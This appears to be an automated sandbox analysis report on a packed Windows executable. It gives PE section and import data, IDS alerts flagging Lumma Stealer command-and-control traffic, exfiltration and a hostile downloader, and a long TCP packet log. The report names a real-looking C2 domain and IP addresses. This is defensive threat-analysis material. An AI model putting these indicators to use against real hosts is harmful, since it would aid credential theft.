
Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26000	0534bf209850e869422ebf223f71c422	False	0.9998972039473685	data	7.982269081867955	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x2b0	0x200	28fdb6c5e4c6225deab6765ed108942e	False	0.798828125	data	5.992490456503178	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x294000	0x200	84d6f1570194a7e32fb03441917a322d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
suopojhu	0x2e9000	0x191000	0x191000	f06e85a1203b5d6cdcee79208b109a71	False	0.9944334719841023	data	7.953046756359875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
toxwbfwt	0x47a000	0x1000	0x400	f905b517dd003de62fc2d3a99c8f481b	False	0.74609375	data	5.838473382048894	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x47b000	0x3000	0x2200	a1d9b5dd40bd9dc69760d80c29ecd17d	False	0.06916360294117647	DOS executable (COM)	0.636350496595336	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x479c40	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-31T15:41:52.933030+0100	2058656	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)	1	192.168.2.8	65080	1.1.1.1	53	UDP
2024-12-31T15:41:53.447238+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.8	49707	104.21.48.1	443	TCP
2024-12-31T15:41:53.447238+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49707	104.21.48.1	443	TCP
2024-12-31T15:41:54.105266+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49707	104.21.48.1	443	TCP
2024-12-31T15:41:54.105266+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49707	104.21.48.1	443	TCP
2024-12-31T15:41:54.574611+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.8	49708	104.21.48.1	443	TCP
2024-12-31T15:41:54.574611+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49708	104.21.48.1	443	TCP
2024-12-31T15:41:55.050232+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49708	104.21.48.1	443	TCP
2024-12-31T15:41:55.050232+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49708	104.21.48.1	443	TCP
2024-12-31T15:41:55.932849+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.8	49709	104.21.48.1	443	TCP
2024-12-31T15:41:55.932849+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49709	104.21.48.1	443	TCP
2024-12-31T15:41:57.185109+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.8	49710	104.21.48.1	443	TCP
2024-12-31T15:41:57.185109+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49710	104.21.48.1	443	TCP
2024-12-31T15:41:58.890950+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.8	49711	104.21.48.1	443	TCP
2024-12-31T15:41:58.890950+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49711	104.21.48.1	443	TCP
2024-12-31T15:42:00.832564+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.8	49712	104.21.48.1	443	TCP
2024-12-31T15:42:00.832564+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49712	104.21.48.1	443	TCP
2024-12-31T15:42:01.257460+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49712	104.21.48.1	443	TCP
2024-12-31T15:42:02.464783+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.8	49713	104.21.48.1	443	TCP
2024-12-31T15:42:02.464783+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49713	104.21.48.1	443	TCP
2024-12-31T15:42:06.481262+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.8	49714	104.21.48.1	443	TCP
2024-12-31T15:42:06.481262+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49714	104.21.48.1	443	TCP
2024-12-31T15:42:06.968667+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49714	104.21.48.1	443	TCP
2024-12-31T15:42:07.692588+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49715	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 15:41:52.960643053 CET	49707	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:52.960714102 CET	443	49707	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:52.960783958 CET	49707	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:52.963965893 CET	49707	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:52.963985920 CET	443	49707	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:53.447079897 CET	443	49707	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:53.447237968 CET	49707	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:53.504082918 CET	49707	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:53.504107952 CET	443	49707	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:53.504487991 CET	443	49707	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:53.557288885 CET	49707	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:53.696912050 CET	49707	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:53.696983099 CET	49707	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:53.697072983 CET	443	49707	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:54.105268955 CET	443	49707	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:54.105371952 CET	443	49707	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:54.105424881 CET	49707	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:54.107024908 CET	49707	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:54.107049942 CET	443	49707	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:54.107076883 CET	49707	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:54.107083082 CET	443	49707	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:54.116734982 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:54.116779089 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:54.116868019 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:54.117206097 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:54.117218018 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:54.574460983 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:54.574610949 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:54.575864077 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:54.575884104 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:54.576128960 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:54.590195894 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:54.590229034 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:54.590279102 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.050249100 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.050299883 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.050335884 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.050354958 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.050375938 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.050409079 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.050411940 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.050422907 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.050497055 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.050506115 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.050976992 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.051003933 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.051033020 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.051048994 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.051181078 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.055874109 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.055938959 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.056001902 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.056010008 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.104239941 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.136935949 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.137011051 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.137115002 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.137135029 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.137170076 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.137392998 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.137412071 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.137424946 CET	49708	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.137434006 CET	443	49708	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.467410088 CET	49709	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.467457056 CET	443	49709	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.467536926 CET	49709	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.467863083 CET	49709	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.467874050 CET	443	49709	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.932734013 CET	443	49709	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.932848930 CET	49709	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.935806036 CET	49709	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.935821056 CET	443	49709	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.936063051 CET	443	49709	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:55.937930107 CET	49709	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.938075066 CET	49709	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:55.938106060 CET	443	49709	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:56.589799881 CET	443	49709	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:56.589894056 CET	443	49709	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:56.589992046 CET	49709	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:56.590156078 CET	49709	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:56.590176105 CET	443	49709	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:56.707678080 CET	49710	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:56.707726955 CET	443	49710	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:56.707784891 CET	49710	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:56.708142042 CET	49710	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:56.708159924 CET	443	49710	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:57.185012102 CET	443	49710	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:57.185108900 CET	49710	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:57.186539888 CET	49710	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:57.186551094 CET	443	49710	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:57.186832905 CET	443	49710	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:57.188225031 CET	49710	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:57.188374043 CET	49710	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:57.188421011 CET	443	49710	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:57.188478947 CET	49710	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:57.188489914 CET	443	49710	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:58.136473894 CET	443	49710	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:58.136607885 CET	443	49710	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:58.136710882 CET	49710	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:58.136780977 CET	49710	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:58.136801958 CET	443	49710	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:58.423274994 CET	49711	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:58.423329115 CET	443	49711	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:58.423409939 CET	49711	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:58.423964024 CET	49711	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:58.423974037 CET	443	49711	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:58.890824080 CET	443	49711	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:58.890949965 CET	49711	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:58.921375036 CET	49711	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:58.921396971 CET	443	49711	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:58.921777964 CET	443	49711	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:58.937295914 CET	49711	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:58.941025019 CET	49711	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:58.941068888 CET	443	49711	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:58.941159964 CET	49711	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:58.941170931 CET	443	49711	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:59.858022928 CET	443	49711	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:59.858119011 CET	443	49711	104.21.48.1	192.168.2.8
Dec 31, 2024 15:41:59.858181953 CET	49711	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:59.858330011 CET	49711	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:41:59.858347893 CET	443	49711	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:00.358715057 CET	49712	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:00.358764887 CET	443	49712	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:00.358828068 CET	49712	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:00.359128952 CET	49712	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:00.359147072 CET	443	49712	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:00.832494974 CET	443	49712	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:00.832564116 CET	49712	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:00.833934069 CET	49712	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:00.833945990 CET	443	49712	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:00.834204912 CET	443	49712	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:00.835498095 CET	49712	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:00.835580111 CET	49712	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:00.835586071 CET	443	49712	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:01.257467985 CET	443	49712	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:01.257584095 CET	443	49712	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:01.257652998 CET	49712	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:01.257846117 CET	49712	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:01.257869959 CET	443	49712	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.000449896 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.000514984 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.000622988 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.001075983 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.001091003 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.464670897 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.464782953 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.466157913 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.466169119 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.466491938 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.467880011 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.468591928 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.468631029 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.468735933 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.468763113 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.469566107 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.469609022 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.469748020 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.469773054 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.469918013 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.469943047 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.470092058 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.470118046 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.470127106 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.470143080 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.470269918 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.470307112 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.470323086 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.470333099 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.470464945 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.470489025 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.479010105 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.479191065 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.479213953 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:02.479254007 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.479283094 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.479470015 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:02.483699083 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.012972116 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.013066053 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.013142109 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.013381004 CET	49713	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.013401031 CET	443	49713	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.023674011 CET	49714	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.023722887 CET	443	49714	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.023833036 CET	49714	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.024195910 CET	49714	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.024214029 CET	443	49714	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.481153965 CET	443	49714	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.481261969 CET	49714	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.482599020 CET	49714	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.482611895 CET	443	49714	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.482872009 CET	443	49714	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.484234095 CET	49714	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.484262943 CET	49714	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.484308004 CET	443	49714	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.968681097 CET	443	49714	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.968791008 CET	443	49714	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.968888998 CET	49714	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.969111919 CET	49714	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.969134092 CET	443	49714	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.969158888 CET	49714	443	192.168.2.8	104.21.48.1
Dec 31, 2024 15:42:06.969166994 CET	443	49714	104.21.48.1	192.168.2.8
Dec 31, 2024 15:42:06.987993956 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:06.995040894 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:06.995147943 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:06.995284081 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.000008106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.692395926 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.692445040 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.692459106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.692588091 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.692652941 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.692676067 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.692691088 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.692702055 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.692713976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.692724943 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.692737103 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.692743063 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.692743063 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.692789078 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.692789078 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.698503017 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.698580027 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.698684931 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.816409111 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.816421986 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.816504002 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.816514969 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.816526890 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.816569090 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.816569090 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.817262888 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.817275047 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.817286968 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.817326069 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.817326069 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.817835093 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.817846060 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.817857981 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.818490982 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.818563938 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.818576097 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.818587065 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.818623066 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.818623066 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.819328070 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.819340944 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.819353104 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.819473982 CET	49715	80	192.168.2.8	185.215.113.16
Dec 31, 2024 15:42:07.820064068 CET	80	49715	185.215.113.16	192.168.2.8
Dec 31, 2024 15:42:07.820075035 CET	80	49715	185.215.113.16	192.168.2.8
